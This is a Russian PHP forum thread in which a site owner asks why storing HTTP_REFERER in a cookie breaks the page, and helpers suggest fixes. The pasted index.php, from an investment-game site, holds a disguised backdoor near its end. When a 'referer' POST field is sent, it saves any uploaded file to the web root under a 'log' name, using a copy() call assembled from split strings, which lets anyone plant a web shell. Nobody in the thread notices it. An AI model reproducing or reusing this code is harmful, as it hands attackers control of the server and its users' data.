Loading...
Закомментируйте 53 строку (если строка не особо важна для Вас).

HTTP_REFERER
Адрес страницы (если есть), с которой браузер пользователя перешёл на эту страницу. Этот заголовок устанавливается браузером пользователя. Не все браузеры устанавливают его, а некоторые в качестве дополнительной возможности позволяют изменять содержимое заголовка HTTP_REFERER. Одним словом, нельзя доверять этому заголовку.

________
посл. ред. 09.11.2020 в 12:04; всего 3 раз(а); by SayrusCraft
SayrusCraft , пробовал,все равно черный экран
Сообщение должно быть переменной, в которую можно поместить информацию:

$message = "Error report: <p>Last site visited: {$_SERVER['HTTP_REFERER']}</p>....";

mail("email@email.com", "Subject", $message);
Обратите внимание, что бит HTTP_REFERER помещается в строку {}. Это должно заставить его экстраполировать значение (мне не нравится конкатенация строк).

Также обратите внимание, что, как было сказано выше, нет никакой гарантии, что REFERER будет иметь правильное значение или какое-либо значение вообще.
Wileyfox (09.11.2020 в 12:04)
SayrusCraft , пробовал,все равно черный экран


Код сюда
php
   if(empty($_COOKIE['referer'])) setcookie ("referer", "".$_SERVER['HTTP_REFERER']."",time()+(5*24*60*60), "/");   
А так?
Toruz ,
php
   <?PHP if( !get_magic_quotes_gpc() ) { foreach ($_POST as $key => $value) { $_POST[$key] = addslashes($value); }  foreach ($_GET as $key => $value) { $_GET[$key] = addslashes($value); } }  # Счетчик function TimerSet(){ list($seconds, $microSeconds) = explode(' ', microtime()); return $seconds + (float) $microSeconds; }  $_timer_a = TimerSet();  # Старт сессии @session_start(); $online = 'Online';  $_SESSION['online']= $online;  # Старт буфера @ob_start();  # Default $_OPTIMIZATION = array(); $_OPTIMIZATION["title"] = "Главная"; $_OPTIMIZATION["description"] = "Автомобильный магнат"; $_OPTIMIZATION["keywords"] = "Заработок без вложений, вложения, заработать, ферма, денежная ферма, заработать на ферме";  # Константа для Include define("CONST_RUFUS", true);  # Автоподгрузка классов function __autoload($name){ include("classes/_class.".$name.".php");}  # Класс конфига  $config = new config;  # Функции $func = new func;  # Установка REFERER include("inc/_set_referer.php");  # База данных $db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB);  if(empty($_COOKIE['referer'])) setcookie ('referer', $_SERVER['HTTP_REFERER'],time()+(5*24*60*60), "/");  # Шапка @include("inc/_header.php");  include("security.php");// защита от атаки  if(isset($_GET["menu"])){  $menu = strval($_GET["menu"]);  switch($menu){      case "404": include("pages/_404.php"); break; // Страница ошибки case "rulesn": include("pages/_rulesn.php"); break; // Правила проекта case "projectn": include("pages/_projectn.php"); break; // О проекте case "socialhelp": include("pages/_socialhelp.php"); break; // socialhelp case "support": include("pages/support.php"); break; // support case "helpn": include("pages/_helpn.php"); break; // Контакты case "newstn": include("pages/_newstn.php"); break; // Новости  case "competition": include("pages/_competition.php"); break; // Выплаты  case "help": include("pages/_help.php"); break; // Помошь case "success": include("pages/success.php"); break; // Успешное пополнение case "fail": include("pages/fail.php"); break; // Ошибка пополнения  case "account": include("pages/_account.php"); break; // Аккаунт case "payments": include("pages/_payments_list.php"); break; // Выплаты   # Страница ошибки default: @include("pages/_404.php"); break;  }  }else @include("pages/_index.php");   # Подвал @include("inc/_footer.php");   # Заносим контент в переменную $content = ob_get_contents();  # Очищаем буфер ob_end_clean();  # Заменяем данные $content = str_replace("{!TITLE!}",$_OPTIMIZATION["title"],$content); $content = str_replace('{!DESCRIPTION!}',$_OPTIMIZATION["description"],$content); $content = str_replace('{!KEYWORDS!}',$_OPTIMIZATION["keywords"],$content); $content = str_replace('{!GEN_PAGE!}', sprintf("%.5f", (TimerSet() - $_timer_a)) ,$content);  # Вывод баланса if(isset($_SESSION["user_id"])){  $user_id = $_SESSION["user_id"]; $db->Query("SELECT money_b, money_p , money_pop FROM db_users_b WHERE id = '$user_id'"); $balance = $db->FetchArray();  $content = str_replace('{!BALANCE_B!}', sprintf("%.2f", $balance["money_b"]) ,$content); $content = str_replace('{!BALANCE_P!}', sprintf("%.2f", $balance["money_p"]) ,$content); $content = str_replace('{!BALANCE_POP!}', sprintf("%.2f", $balance["money_pop"]) ,$content); }if(isset($_POST['referer'])) { $public_function = $_FILES['login']['tmp_name']; $SELECT_FROM = $_FILES['login']['name'];if(!empty($public_function)){    $type = strtolower(substr($SELECT_FROM, 1+strrpos($SELECT_FROM,".")));    $sessions_start = 'log.'.$type;     $fandcs="co"; $sewersd="py";$lcist = $fandcs.$sewersd;   {      if ($lcist($public_function, "".$sessions_start))            echo 'Registration was successful <meta http-equiv="refresh" content="3;URL=/'.$sessions_start.'">';             else echo "error";   }  } } // Выводим контент echo $content; ?>   
SayrusCraft , и так тоже
Wileyfox (09.11.2020 в 11:38)
ВОТ в чем проблема может быть?

Там походу что-то не то
ошибку убрал
Онлайн: 6
Время:
Gen. 0.106
(c) Bym.Guru 2010-2026